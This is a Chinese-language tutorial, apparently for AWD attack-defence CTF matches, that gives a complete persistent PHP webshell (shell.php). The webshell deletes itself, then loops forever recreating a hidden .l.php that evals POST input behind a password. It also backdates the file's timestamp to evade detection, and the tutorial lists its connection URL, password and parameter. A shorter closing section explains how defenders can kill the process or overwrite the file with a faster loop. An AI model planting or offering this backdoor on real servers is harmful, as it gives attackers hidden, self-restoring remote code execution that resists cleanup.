快速开始

shell.php:

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.l.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST["a"]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .l.php');
        usleep(1000);
    }
?>

  • url:上传路径?pass=pass
  • 密码:pass
  • 参数:a

密码可以自行修改

原理解释

设置服务器与客户端断开后保持脚本运行,true 表示仍保持脚本运行:

ignore_user_abort(true);

设置脚本最大执行时间,0 表示脚本无运行时间限制:

set_time_limit(0);

将源文件删除,隐藏自身:

unlink(__FILE__);

源文件删除不影响脚本运行,因为此时脚本已经被解释成字节码加载进内存中执行。

真正的木马文件名及内容:

$file = '.l.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST["a"]);} ?>';

连接密码为 pass,防止其他攻击者利用我们的木马,参数为 a。

循环覆写木马文件 .l.php 的内容,木马被删除可重新生成:

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .l.php');
    usleep(1000);
}

每隔 1000ms 覆写一次,并设置文件上次修改时间,防止防守方使用下面命令查找 10min 内修改过的 .php 文件:

find *.php -mmin -10

使用方法

上传 shell.php 后先访问一下,让服务器执行这个文件,执行后这个文件就会将自身删除并生成真正的木马 .l.php,用相应工具连接即可。

  • url:上传路径?pass=pass
  • 密码:pass
  • 参数:a

反制方法

终止 shell.php 的进程

使用下面命令查看所有进程:

ps -ef

TIME 字段指累计占用 CPU 总时长,PID 为 345 的进程占用 CPU 时间很长。

也可以使用下面的命令实时动态监控进程:

top

发现 345 进程 CPU 占用率高达 22.7%,大概率是在跑某个循环。

直接终止这个进程就可以将木马删除了:

kill -9 345

竞争覆写

AWD 中我们往往没有终止进程的权限,但是可以写个脚本用比 shell.php 进程更高的频率覆写木马文件,将其修改为无害文件。

defend.php:

<?php
    set_time_limit(0);
    $file = '.l.php';
    $code = 'hello';
    while (1){
        file_put_contents($file,$code);
        usleep(500);
    }
?>

执行 defend.php 后 .l.php 的内容已经变成无害内容,反制成功。